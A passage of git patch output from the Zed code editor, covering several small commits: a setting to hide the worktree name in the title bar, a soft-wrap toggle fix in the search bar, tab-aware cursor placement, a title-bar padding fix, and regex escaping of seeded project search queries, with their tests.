guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

<img width="1496" height="982" alt="title_bar.show_worktree_name =
false"
src="https://github.com/user-attachments/assets/b2c502de-a8d8-4409-ba04-5ab807c77a8e"
/>

<img width="1496" height="982" alt="title_bar.show_worktree_name = true"
src="https://github.com/user-attachments/assets/6cea7eb5-0e88-454c-9c97-3b4ad62aed51"
/>

---

Release Notes:

- title_bar: Added title_bar.show_worktree_name (default: true) to hide
worktree picker button

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
---
 assets/settings/default.json               |  2 ++
 crates/settings_content/src/title_bar.rs   |  4 ++++
 crates/settings_ui/src/page_data.rs        | 25 +++++++++++++++++++++-
 crates/title_bar/src/title_bar.rs          | 16 +++++++++-----
 crates/title_bar/src/title_bar_settings.rs |  2 ++
 docs/src/reference/all-settings.md         |  2 ++
 docs/src/visual-customization.md           |  1 +
 7 files changed, 46 insertions(+), 6 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index b7cf7019ef1215..397960df19ec35 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -548,6 +548,8 @@
     "show_branch_status_icon": false,
     // Whether to show the branch name button in the titlebar.
     "show_branch_name": true,
+    // Whether to show the worktree name button in the titlebar.
+    "show_worktree_name": true,
     // Whether to show the project host and name in the titlebar.
     "show_project_items": true,
     // Whether to show onboarding banners in the titlebar.
diff --git a/crates/settings_content/src/title_bar.rs b/crates/settings_content/src/title_bar.rs
index 34b3e82aff1680..74f406e8abe65d 100644
--- a/crates/settings_content/src/title_bar.rs
+++ b/crates/settings_content/src/title_bar.rs
@@ -99,6 +99,10 @@ pub struct TitleBarSettingsContent {
     ///
     /// Default: true
     pub show_branch_name: Option<bool>,
+    /// Whether to show the worktree name button in the titlebar.
+    ///
+    /// Default: true
+    pub show_worktree_name: Option<bool>,
     /// Whether to show the project host and name in the titlebar.
     ///
     /// Default: true
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 13939e246b6646..8c2c9b20c5411e 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -3989,7 +3989,7 @@ fn window_and_layout_page() -> SettingsPage {
         ]
     }
 
-    fn title_bar_section() -> [SettingsPageItem; 10] {
+    fn title_bar_section() -> [SettingsPageItem; 11] {
         [
             SettingsPageItem::SectionHeader("Title Bar"),
             SettingsPageItem::SettingItem(SettingItem {
@@ -4038,6 +4038,29 @@ fn window_and_layout_page() -> SettingsPage {
                 metadata: None,
                 files: USER,
             }),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Show Worktree Name",
+                description: "Show the worktree name button in the titlebar.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("title_bar.show_worktree_name"),
+                    pick: |settings_content| {
+                        settings_content
+                            .title_bar
+                            .as_ref()?
+                            .show_worktree_name
+                            .as_ref()
+                    },
+                    write: |settings_content, value, _| {
+                        settings_content
+                            .title_bar
+                            .get_or_insert_default()
+                            .show_worktree_name = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Show Project Items",
                 description: "Show the project host and name in the titlebar.",
diff --git a/crates/title_bar/src/title_bar.rs b/crates/title_bar/src/title_bar.rs
index f7ccc57ae3ad38..52bd8104603ec0 100644
--- a/crates/title_bar/src/title_bar.rs
+++ b/crates/title_bar/src/title_bar.rs
@@ -988,7 +988,7 @@ impl TitleBar {
             worktree_label.clone()
         };
 
-        let worktree_button = {
+        let worktree_button = settings.show_worktree_name.then(|| {
             let project = self.project.clone();
             let workspace_handle = workspace.downgrade();
             PopoverMenu::new("worktree-picker-menu")
@@ -1022,7 +1022,7 @@ impl TitleBar {
                     },
                 )
                 .anchor(gpui::Anchor::TopLeft)
-        };
+        });
 
         let branch_picker = branch_name.and_then(|branch_name| {
             settings.show_branch_name.then(|| {
@@ -1084,19 +1084,25 @@ impl TitleBar {
             })
         });
 
+        if worktree_button.is_none() && branch_picker.is_none() {
+            return None;
+        }
+
+        let show_separator = worktree_button.is_some() && branch_picker.is_some();
+
         Some(
             h_flex()
                 .gap_px()
-                .child(worktree_button)
-                .when_some(branch_picker, |this, branch_picker| {
+                .children(worktree_button)
+                .when(show_separator, |this| {
                     this.child(
                         Label::new("/")
                             .size(LabelSize::Small)
                             .color(Color::Muted)
                             .alpha(0.25),
                     )
-                    .child(branch_picker)
                 })
+                .children(branch_picker)
                 .into_any_element(),
         )
     }
diff --git a/crates/title_bar/src/title_bar_settings.rs b/crates/title_bar/src/title_bar_settings.rs
index c81c271b3554fe..fac95319487bda 100644
--- a/crates/title_bar/src/title_bar_settings.rs
+++ b/crates/title_bar/src/title_bar_settings.rs
@@ -7,6 +7,7 @@ pub struct TitleBarSettings {
     pub show_onboarding_banner: bool,
     pub show_user_picture: bool,
     pub show_branch_name: bool,
+    pub show_worktree_name: bool,
     pub show_project_items: bool,
     pub show_sign_in: bool,
     pub show_user_menu: bool,
@@ -22,6 +23,7 @@ impl Settings for TitleBarSettings {
             show_onboarding_banner: content.show_onboarding_banner.unwrap(),
             show_user_picture: content.show_user_picture.unwrap(),
             show_branch_name: content.show_branch_name.unwrap(),
+            show_worktree_name: content.show_worktree_name.unwrap(),
             show_project_items: content.show_project_items.unwrap(),
             show_sign_in: content.show_sign_in.unwrap(),
             show_user_menu: content.show_user_menu.unwrap(),
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index 25690087166d0e..13123caf5bc49d 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -4943,6 +4943,7 @@ Run the {#action theme_selector::Toggle} action in the command palette to see a
   "title_bar": {
     "show_branch_status_icon": false,
     "show_branch_name": true,
+    "show_worktree_name": true,
     "show_project_items": true,
     "show_onboarding_banner": true,
     "show_user_picture": true,
@@ -4958,6 +4959,7 @@ Run the {#action theme_selector::Toggle} action in the command palette to see a
 
 - `show_branch_status_icon`: Whether to show git status indicators on the branch icon in the titlebar
 - `show_branch_name`: Whether to show the branch name button in the titlebar
+- `show_worktree_name`: Whether to show the worktree name button in the titlebar
 - `show_project_items`: Whether to show the project host and name in the titlebar
 - `show_onboarding_banner`: Whether to show onboarding banners in the titlebar
 - `show_user_picture`: Whether to show user picture in the titlebar
diff --git a/docs/src/visual-customization.md b/docs/src/visual-customization.md
index b3f9131ca9af54..a12399e60547ea 100644
--- a/docs/src/visual-customization.md
+++ b/docs/src/visual-customization.md
@@ -130,6 +130,7 @@ To disable this behavior use:
   "title_bar": {
     "show_branch_status_icon": false, // Show git status on branch icon
     "show_branch_name": true,       // Show/hide branch name
+    "show_worktree_name": true,     // Show/hide worktree name
     "show_project_items": true,     // Show/hide project host and name
     "show_onboarding_banner": true, // Show/hide onboarding banners
     "show_user_picture": true,      // Show/hide user avatar

From c5e0fb8ffdb98187be08eae9956852df9ffe4da3 Mon Sep 17 00:00:00 2001
From: Jace <bugprone@gmail.com>
Date: Mon, 20 Jul 2026 23:14:52 -0700
Subject: [PATCH 585/772] search: Fix toggle soft wrap not working while the
 search bar is focused (#61150)

Closes #34698

The buffer search query input is itself an editor, so dispatching
`editor::ToggleSoftWrap` from the command palette while the search bar
had focus toggled soft wrap on the single-line query editor (with no
visible effect) and never reached the searched editor.

This intercepts the action on the search bar in the capture phase and
applies it to the active searchable item, the same way `ToggleFoldAll`
is already relayed. Focus stays in the search bar, so you can keep
typing your query. `Editor::toggle_soft_wrap` and
`Editor::soft_wrap_mode` become `pub` (matching
`fold_all`/`has_any_buffer_folded`, which the existing `ToggleFoldAll`
relay already uses).

Includes a regression test that fails without the fix: it deploys the
search bar, dispatches `ToggleSoftWrap` with the query editor focused,
and asserts the searched editor's wrap mode changes while focus remains
in the search bar.

Release Notes:

- Fixed `editor: toggle soft wrap` doing nothing when invoked while the
buffer search bar was focused

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/editor/src/config.rs        |  9 +---
 crates/editor/src/split.rs         |  2 +-
 crates/search/src/buffer_search.rs | 86 +++++++++++++++++++++++++++++-
 3 files changed, 87 insertions(+), 10 deletions(-)

diff --git a/crates/editor/src/config.rs b/crates/editor/src/config.rs
index f1a717db7c22e5..6676a790a0530c 100644
--- a/crates/editor/src/config.rs
+++ b/crates/editor/src/config.rs
@@ -257,7 +257,7 @@ impl Editor {
         wrap_guides
     }
 
-    pub(super) fn soft_wrap_mode(&self, cx: &App) -> SoftWrap {
+    pub fn soft_wrap_mode(&self, cx: &App) -> SoftWrap {
         let settings = self.buffer.read(cx).language_settings(cx);
         let mode = self.soft_wrap_mode_override.unwrap_or(settings.soft_wrap);
         match mode {
@@ -286,12 +286,7 @@ impl Editor {
         }
     }
 
-    pub(super) fn toggle_soft_wrap(
-        &mut self,
-        _: &ToggleSoftWrap,
-        _: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
+    pub fn toggle_soft_wrap(&mut self, _: &ToggleSoftWrap, _: &mut Window, cx: &mut Context<Self>) {
         if self.soft_wrap_mode_override.is_some() {
             self.soft_wrap_mode_override.take();
         } else {
diff --git a/crates/editor/src/split.rs b/crates/editor/src/split.rs
index 93a6f96a443124..96ed0a23b0dede 100644
--- a/crates/editor/src/split.rs
+++ b/crates/editor/src/split.rs
@@ -1158,7 +1158,7 @@ impl SplittableEditor {
         }
     }
 
-    fn toggle_soft_wrap(
+    pub fn toggle_soft_wrap(
         &mut self,
         _: &ToggleSoftWrap,
         window: &mut Window,
diff --git a/crates/search/src/buffer_search.rs b/crates/search/src/buffer_search.rs
index f0fa4acafd090d..b4818a1160bc92 100644
--- a/crates/search/src/buffer_search.rs
+++ b/crates/search/src/buffer_search.rs
@@ -15,7 +15,7 @@ use any_vec::AnyVec;
 use collections::HashMap;
 use editor::{
     DiffStyleControls, Editor, EditorSettings, MultiBufferOffset, SplittableEditor,
-    actions::{Backtab, FoldAll, Tab, ToggleFoldAll, UnfoldAll},
+    actions::{Backtab, FoldAll, Tab, ToggleFoldAll, ToggleSoftWrap, UnfoldAll},
     scroll::Autoscroll,
 };
 use futures::channel::oneshot;
@@ -462,6 +462,7 @@ impl Render for BufferSearchBar {
             .capture_action(cx.listener(Self::tab))
             .capture_action(cx.listener(Self::backtab))
             .capture_action(cx.listener(Self::toggle_fold_all))
+            .capture_action(cx.listener(Self::toggle_soft_wrap))
             .on_action(cx.listener(Self::previous_history_query))
             .on_action(cx.listener(Self::next_history_query))
             .on_action(cx.listener(Self::dismiss))
@@ -995,6 +996,38 @@ impl BufferSearchBar {
         self.toggle_fold_all_in_item(window, cx);
     }
 
+    // The query editor is an editor itself and would otherwise swallow this
+    // action without any visible effect, so relay it to the searched editor
+    // while keeping the focus in the search bar.
+    fn toggle_soft_wrap(
+        &mut self,
+        action: &ToggleSoftWrap,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(item) = &self.active_searchable_item else {
+            return;
+        };
+        // A split diff editor picks which side to toggle and keeps both sides
+        // in sync, while its `act_as_type(Editor)` only exposes the RHS
+        // editor, so relay to the split editor itself when it is split.
+        if let Some(split_editor) = item.act_as_type(TypeId::of::<SplittableEditor>(), cx) {
+            let split_editor = split_editor
+                .downcast::<SplittableEditor>()
+                .expect("Is a splittable editor");
+            if split_editor.read(cx).is_split() {
+                split_editor.update(cx, |split_editor, cx| {
+                    split_editor.toggle_soft_wrap(action, window, cx)
+                });
+                return;
+            }
+        }
+        if let Some(item) = item.act_as_type(TypeId::of::<Editor>(), cx) {
+            let editor = item.downcast::<Editor>().expect("Is an editor");
+            editor.update(cx, |editor, cx| editor.toggle_soft_wrap(action, window, cx));
+        }
+    }
+
     fn toggle_fold_all_in_item(&self, window: &mut Window, cx: &mut Context<Self>) {
         if let Some(item) = &self.active_searchable_item {
             if let Some(item) = item.act_as_type(TypeId::of::<Editor>(), cx) {
@@ -1846,7 +1879,7 @@ mod tests {
     use super::*;
     use editor::{
         DisplayPoint, Editor, HighlightKey, MultiBuffer, PathKey,
-        SELECTION_HIGHLIGHT_DEBOUNCE_TIMEOUT, SearchSettings, SelectionEffects,
+        SELECTION_HIGHLIGHT_DEBOUNCE_TIMEOUT, SearchSettings, SelectionEffects, SoftWrap,
         display_map::DisplayRow, test::editor_test_context::EditorTestContext,
     };
     use futures::stream::StreamExt as _;
@@ -3188,6 +3221,55 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_toggle_soft_wrap_relays_to_searched_editor(cx: &mut TestAppContext) {
+        init_globals(cx);
+        let (editor, search_bar, cx) = init_test(cx);
+
+        search_bar.update_in(cx, |search_bar, window, cx| {
+            search_bar.deploy(
+                &Deploy {
+                    focus: true,
+                    replace_enabled: false,
+                    selection_search_enabled: false,
+                },
+                None,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        search_bar.update_in(cx, |search_bar, window, cx| {
+            assert!(
+                search_bar.query_editor.focus_handle(cx).is_focused(window),
+                "query editor should be focused after deploying the search bar",
+            );
+        });
+        editor.update_in(cx, |editor, _, cx| {
+            assert!(
+                matches!(editor.soft_wrap_mode(cx), SoftWrap::None),
+                "soft wrap should be disabled initially",
+            );
+        });
+
+        cx.dispatch_action(ToggleSoftWrap);
+        cx.run_until_parked();
+
+        editor.update_in(cx, |editor, _, cx| {
+            assert!(
+                matches!(editor.soft_wrap_mode(cx), SoftWrap::EditorWidth),
+                "toggling soft wrap while the search bar is focused should affect the searched editor",
+            );
+        });
+        search_bar.update_in(cx, |search_bar, window, cx| {
+            assert!(
+                search_bar.query_editor.focus_handle(cx).is_focused(window),
+                "focus should stay in the search bar",
+            );
+        });
+    }
+
     #[cfg(target_os = "macos")]
     #[gpui::test]
     async fn test_cmd_e_then_cmd_g_uses_selection_for_find(cx: &mut TestAppContext) {

From b5e03c7b0302894ac7a57d233be8d03dc9c81223 Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Tue, 21 Jul 2026 11:52:51 +0530
Subject: [PATCH 586/772] editor: Place added cursors by tab-expanded column
 (#61153)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

with `hard_tabs: true` and `tab_size: 4`, shift-alt-down off a
tab-aligned column drops the cursor in the wrong spot:

```
      current.rgb.r         ˇ= p[0] >> 8;      <- cursor here
      residuals[run].rˇgb.r  = p[0] & 0xff;    <- lands here, not on the =
```

both `=` render at column 48 but sit at buffer columns 22 and 27, since
a different number of tabs pads each row. shift-alt-down is
`skip_soft_wrap: true`, which placed the cursor by utf16 column where a
tab counts as one.

so count the column with tabs expanded instead. still a column and not a
pixel position, so the buffer-column behaviour
`test_add_selection_skip_soft_wrap_option` pins doesn't change (without
tabs the expanded column *is* the buffer column). tried pixels first and
it breaks that test, since x is measured inside a wrapped segment.

heads up that the existing tests here all pass `Default::default()`,
which is `skip_soft_wrap: false` (the `default_true` only applies to
deserializing), so nothing covered the branch the keybinding actually
uses.

Closes #60752.

Release Notes:

- Fixed added cursors landing in the wrong column when using tabs to
align code
---
 crates/editor/src/display_map.rs           | 24 ++++++++++++++-
 crates/editor/src/editor_tests.rs          | 34 ++++++++++++++++++++++
 crates/editor/src/selection.rs             | 21 ++++++-------
 crates/editor/src/selections_collection.rs | 19 +++++-------
 4 files changed, 74 insertions(+), 24 deletions(-)

diff --git a/crates/editor/src/display_map.rs b/crates/editor/src/display_map.rs
index 554fe1a5ab22ae..ecc41ae29b3985 100644
--- a/crates/editor/src/display_map.rs
+++ b/crates/editor/src/display_map.rs
@@ -136,7 +136,7 @@ use crate::{
 use block_map::{BlockPointCursor, BlockRow, BlockSnapshot};
 use fold_map::{FoldPointCursor, FoldSnapshot};
 use inlay_map::{BufferOffsetToInlayPointCursor, InlaySnapshot};
-use tab_map::{TabPointCursor, TabSnapshot};
+use tab_map::{TabPoint, TabPointCursor, TabSnapshot};
 use wrap_map::{WrapMap, WrapPatch, WrapPointCursor};
 
 #[derive(Copy, Clone, Debug, PartialEq, Eq)]
@@ -1544,6 +1544,28 @@ impl DisplaySnapshot {
         &self.block_snapshot.wrap_snapshot.tab_snapshot
     }
 
+    /// The column `point` sits at once tabs are expanded, which is where it appears
+    /// on screen when the line isn't soft-wrapped. Unlike a display column this is
+    /// counted from the start of the buffer row rather than the wrapped segment.
+    pub fn tab_expanded_column(&self, point: Point) -> u32 {
+        self.tab_snapshot()
+            .point_to_tab_point(point, Bias::Left)
+            .0
+            .column
+    }
+
+    /// Inverse of [`Self::tab_expanded_column`], clamped to the end of the row.
+    pub fn point_for_tab_expanded_column(&self, row: u32, column: u32) -> Point {
+        let column = column.min(self.tab_snapshot().line_len(row));
+        self.tab_snapshot()
+            .tab_point_to_point(TabPoint(Point::new(row, column)), Bias::Left)
+    }
+
+    /// The length of `row` once tabs are expanded.
+    pub fn tab_expanded_line_len(&self, row: u32) -> u32 {
+        self.tab_snapshot().line_len(row)
+    }
+
     pub fn fold_snapshot(&self) -> &FoldSnapshot {
         &self.block_snapshot.wrap_snapshot.tab_snapshot.fold_snapshot
     }
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 015e8b5b43c424..fb34017052db0a 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -10746,6 +10746,40 @@ async fn test_split_selection_into_lines_interacting_with_creases(cx: &mut TestA
         );
 }
 
+#[gpui::test]
+/// A different number of tabs can align the same column on each row, so a cursor has to
+/// be placed by the column the tabs expand to. Counting a tab as a single column lands it
+/// wherever that many characters happen to reach on the next row.
+#[gpui::test]
+async fn test_add_selection_below_with_tab_aligned_columns(cx: &mut TestAppContext) {
+    init_test(cx, |settings| {
+        settings.defaults.hard_tabs = Some(true);
+        settings.defaults.tab_size = Some(4.try_into().unwrap());
+    });
+
+    let mut cx = EditorTestContext::new(cx).await;
+
+    // Both `=` render at column 48: `current.rgb.r` ends at 37 and is padded by three
+    // tabs, `residuals[run].rgb.r` ends at 44 and is padded by one.
+    cx.set_state(
+        "\t\t\t\t\t\tcurrent.rgb.r\t\t\tˇ= p[0] >> 8;\n\t\t\t\t\t\tresiduals[run].rgb.r\t= p[0] & 0xff;\n",
+    );
+
+    cx.update_editor(|editor, window, cx| {
+        editor.add_selection_below(
+            &AddSelectionBelow {
+                skip_soft_wrap: true,
+            },
+            window,
+            cx,
+        );
+    });
+
+    cx.assert_editor_state(
+        "\t\t\t\t\t\tcurrent.rgb.r\t\t\tˇ= p[0] >> 8;\n\t\t\t\t\t\tresiduals[run].rgb.r\tˇ= p[0] & 0xff;\n",
+    );
+}
+
 #[gpui::test]
 async fn test_add_selection_above_below(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/editor/src/selection.rs b/crates/editor/src/selection.rs
index afb261305ec982..3f9b177326beff 100644
--- a/crates/editor/src/selection.rs
+++ b/crates/editor/src/selection.rs
@@ -1937,10 +1937,11 @@ impl Editor {
             display_map.max_point().row()
         };
 
-        // When `skip_soft_wrap` is true, we use UTF-16 columns instead of pixel
-        // positions to place new selections, so we need to keep track of the
-        // column range of the oldest selection in each group, because
-        // intermediate selections may have been clamped to shorter lines.
+        // When `skip_soft_wrap` is true, we place new selections by column rather than
+        // pixel position, so we need to keep track of the column range of the oldest
+        // selection in each group, because intermediate selections may have been
+        // clamped to shorter lines. Columns are counted with tabs expanded so that
+        // tab-aligned code lines up the way it renders.
         let mut goal_columns_by_selection_id = if skip_soft_wrap {
             let mut map = HashMap::default();
             for group in state.groups.iter() {
@@ -1948,10 +1949,8 @@ impl Editor {
                     if let Some(oldest_selection) =
                         columnar_selections.iter().find(|s| s.id == *oldest_id)
                     {
-                        let snapshot = display_map.buffer_snapshot();
-                        let start_col =
-                            snapshot.point_to_point_utf16(oldest_selection.start).column;
-                        let end_col = snapshot.point_to_point_utf16(oldest_selection.end).column;
+                        let start_col = display_map.tab_expanded_column(oldest_selection.start);
+                        let end_col = display_map.tab_expanded_column(oldest_selection.end);
                         let goal_columns = start_col.min(end_col)..start_col.max(end_col);
                         for id in &group.stack {
                             map.insert(*id, goal_columns.clone());
@@ -1992,10 +1991,8 @@ impl Editor {
                         let goal_columns = goal_columns_by_selection_id
                             .remove(&selection.id)
                             .unwrap_or_else(|| {
-                                let snapshot = display_map.buffer_snapshot();
-                                let start_col =
-                                    snapshot.point_to_point_utf16(selection.start).column;
-                                let end_col = snapshot.point_to_point_utf16(selection.end).column;
+                                let start_col = display_map.tab_expanded_column(selection.start);
+                                let end_col = display_map.tab_expanded_column(selection.end);
                                 start_col.min(end_col)..start_col.max(end_col)
                             });
                         self.selections.find_next_columnar_selection_by_buffer_row(
diff --git a/crates/editor/src/selections_collection.rs b/crates/editor/src/selections_collection.rs
index 0e2a607a445369..68dac675ea3892 100644
--- a/crates/editor/src/selections_collection.rs
+++ b/crates/editor/src/selections_collection.rs
@@ -6,7 +6,7 @@ use std::{
 
 use gpui::Pixels;
 use itertools::{Either, Itertools as _};
-use language::{Bias, Point, PointUtf16, Selection, SelectionGoal};
+use language::{Bias, Point, Selection, SelectionGoal};
 use multi_buffer::{MultiBufferDimension, MultiBufferOffset, ToPoint};
 use util::post_inc;
 
@@ -448,7 +448,7 @@ impl SelectionsCollection {
     /// Returns `None` if the range is not empty but it starts past the line's
     /// length, meaning that the line isn't long enough to be contained within
     /// part of the provided range.
-    fn build_columnar_selection_from_utf16_columns(
+    fn build_columnar_selection_from_tab_expanded_columns(
         &mut self,
         display_map: &DisplaySnapshot,
         buffer_row: u32,
@@ -456,22 +456,19 @@ impl SelectionsCollection {
         reversed: bool,
         text_layout_details: &TextLayoutDetails,
     ) -> Option<Selection<Point>> {
-        let snapshot = display_map.buffer_snapshot();
         let is_empty = positions.start == positions.end;
-        let line_len_utf16 = snapshot.line_len_utf16(multi_buffer::MultiBufferRow(buffer_row));
+        let line_len = display_map.tab_expanded_line_len(buffer_row);
 
         let (start, end) = if is_empty {
-            let column = std::cmp::min(positions.start, line_len_utf16);
-            let point = snapshot.point_utf16_to_point(PointUtf16::new(buffer_row, column));
+            let point = display_map.point_for_tab_expanded_column(buffer_row, positions.start);
             (point, point)
         } else {
-            if positions.start >= line_len_utf16 {
+            if positions.start >= line_len {
                 return None;
             }
 
-            let start = snapshot.point_utf16_to_point(PointUtf16::new(buffer_row, positions.start));
-            let end_column = std::cmp::min(positions.end, line_len_utf16);
-            let end = snapshot.point_utf16_to_point(PointUtf16::new(buffer_row, end_column));
+            let start = display_map.point_for_tab_expanded_column(buffer_row, positions.start);
+            let end = display_map.point_for_tab_expanded_column(buffer_row, positions.end);
             (start, end)
         };
 
@@ -545,7 +542,7 @@ impl SelectionsCollection {
             row = new_row.row();
             let buffer_row = new_row.to_point(display_map).row;
 
-            if let Some(selection) = self.build_columnar_selection_from_utf16_columns(
+            if let Some(selection) = self.build_columnar_selection_from_tab_expanded_columns(
                 display_map,
                 buffer_row,
                 goal_columns,

From 6a8f5a30b3bc0ecc726abdfc3bdbaf2376b85d47 Mon Sep 17 00:00:00 2001
From: Pingy <76990079+pingpong74@users.noreply.github.com>
Date: Tue, 21 Jul 2026 12:14:38 +0530
Subject: [PATCH 587/772] title_bar: Fix drop down arrow shifting upon user
 logging in (#61267)

# Objective

Fixes #44529

## Solution

Earlier, the container holding the right side of the title bar applied a
conditional right padding depending on the whether the user was signed
in or not. This PR removes the conditional padding and replaces it with
a constant.

## Testing

The changes where visually verified by replicating the issue and seeing
if the fix works.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase


[](https://github.com/user-attachments/assets/017099c3-224e-4e32-9f28-66961e244d1b)

---

## Release Notes:

Fixed drop down arrow shifting upon logging in.
---
 crates/title_bar/src/title_bar.rs | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/crates/title_bar/src/title_bar.rs b/crates/title_bar/src/title_bar.rs
index 52bd8104603ec0..ea1087f910c73b 100644
--- a/crates/title_bar/src/title_bar.rs
+++ b/crates/title_bar/src/title_bar.rs
@@ -345,8 +345,6 @@ impl Render for TitleBar {
         let status = self.client.status();
         let status = &*status.borrow();
         let user = self.user_store.read(cx).current_user();
-
-        let signed_in = user.is_some();
         let is_signing_in = user.is_none()
             && matches!(
                 status,
@@ -362,13 +360,7 @@ impl Render for TitleBar {
 
         children.push(
             h_flex()
-                .map(|this| {
-                    if signed_in {
-                        this.pr_1p5()
-                    } else {
-                        this.pr_1()
-                    }
-                })
+                .pr_1()
                 .gap_1()
                 .on_mouse_down(MouseButton::Left, |_, _, cx| cx.stop_propagation())
                 .child(self.render_call_controls(window, cx))

From 3ad8086ee8c8d602eaa65ba747433458105e7e7e Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Tue, 21 Jul 2026 13:09:25 +0530
Subject: [PATCH 588/772] search: Escape seeded project search query in regex
 mode (#61335)

Fixes what https://github.com/zed-industries/zed/pull/57748 does for
buffer search.

When project search is deployed with regex mode enabled and the query is
seeded from the editor's selection or the word under the cursor, that
text is literal, so regex chars in it (e.g. `.` in `z.d`) are now
escaped instead of being interpreted as regex syntax. This follows how
VSCode handles it.

Release Notes:

- Fixed project search queries seeded from the current selection being
interpreted as a regular expression instead of literal text when regex
mode was enabled.
---
 Cargo.lock                          |   1 +
 crates/search/Cargo.toml            |   1 +
 crates/search/src/project_search.rs | 147 +++++++++++++++++++++++++---
 3 files changed, 138 insertions(+), 11 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index b6b9350434d17c..747170fd5f20b4 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -16393,6 +16393,7 @@ dependencies = [
  "picker_preview",
  "pretty_assertions",
  "project",
+ "regex",
  "serde",
  "serde_json",
  "settings",
diff --git a/crates/search/Cargo.toml b/crates/search/Cargo.toml
index af4c5e98379b9c..60cdfa8fa965f7 100644
--- a/crates/search/Cargo.toml
+++ b/crates/search/Cargo.toml
@@ -37,6 +37,7 @@ multi_buffer.workspace = true
 picker.workspace = true
 picker_preview.workspace = true
 project.workspace = true
+regex.workspace = true
 serde.workspace = true
 serde_json.workspace = true
 settings.workspace = true
diff --git a/crates/search/src/project_search.rs b/crates/search/src/project_search.rs
index 375f6b7dfa4571..4498920db759c3 100644
--- a/crates/search/src/project_search.rs
+++ b/crates/search/src/project_search.rs
@@ -1297,14 +1297,29 @@ impl ProjectSearchView {
         window: &mut Window,
         cx: &mut Context<Workspace>,
     ) {
-        let query = workspace.active_item(cx).and_then(|item| {
+        enum QuerySeed {
+            /// Content of the buffer search bar: already query syntax, with
+            /// escaping already applied if it was seeded in regex mode, so it
+            /// must never be re-escaped. It's carried over verbatim even if
+            /// the buffer search's mode differs from the project search's.
+            Query(String),
+            /// Raw text from the editor's selection or the word under the
+            /// cursor, so it gets escaped when entering a regex query.
+            Text(String),
+        }
+
+        let query_seed = workspace.active_item(cx).and_then(|item| {
             if let Some(buffer_search_query) = buffer_search_query(workspace, item.as_ref(), cx) {
-                return Some(buffer_search_query);
+                return Some(QuerySeed::Query(buffer_search_query));
             }
 
             let editor = item.act_as::<Editor>(cx)?;
             let query = editor.query_suggestion(None, window, cx);
-            if query.is_empty() { None } else { Some(query) }
+            if query.is_empty() {
+                None
+            } else {
+                Some(QuerySeed::Text(query))
+            }
         });
 
         let search = if let Some(existing) = existing {
@@ -1353,13 +1368,19 @@ impl ProjectSearchView {
                     cx,
                 );
             }
-            let query = action
-                .query
-                .as_deref()
-                .filter(|q| !q.is_empty())
-                .or(query.as_deref());
-            if let Some(query) = query {
+            if let Some(query) = action.query.as_deref().filter(|query| !query.is_empty()) {
                 search.set_query(query, window, cx);
+            } else if let Some(query_seed) = query_seed {
+                let query = match query_seed {
+                    QuerySeed::Query(query) => query,
+                    QuerySeed::Text(text)
+                        if search.search_options.contains(SearchOptions::REGEX) =>
+                    {
+                        regex::escape(&text)
+                    }
+                    QuerySeed::Text(text) => text,
+                };
+                search.set_query(&query, window, cx);
             }
             if let Some(included_files) = action.included_files.as_deref() {
                 search
@@ -2789,12 +2810,13 @@ pub mod tests {
     use super::*;
     use editor::{DisplayPoint, display_map::DisplayRow};
     use gpui::{Action, TestAppContext, VisualTestContext, WindowHandle};
-    use language::{FakeLspAdapter, rust_lang};
+    use language::{FakeLspAdapter, Point as BufferPoint, rust_lang};
     use pretty_assertions::assert_eq;
     use project::{FakeFs, Fs};
     use serde_json::json;
     use settings::{
-        InlayHintSettingsContent, SettingsStore, ThemeColorsContent, ThemeStyleContent,
+        InlayHintSettingsContent, SearchSettingsContent, SeedQuerySetting, SettingsStore,
+        ThemeColorsContent, ThemeStyleContent,
     };
     use util::{path, paths::PathStyle, rel_path::rel_path};
     use util_macros::perf;
@@ -5042,6 +5064,109 @@ pub mod tests {
             .expect("unable to update search view");
     }
 
+    #[gpui::test]
+    async fn test_seeded_project_search_query_is_escaped_in_regex_mode(cx: &mut TestAppContext) {
+        init_test(cx);
+        cx.update(|cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.editor.seed_search_query_from_cursor =
+                        Some(SeedQuerySetting::Selection);
+                    settings.editor.search = Some(SearchSettingsContent {
+                        regex: Some(true),
+                        ..Default::default()
+                    });
+                });
+            });
+        });
+
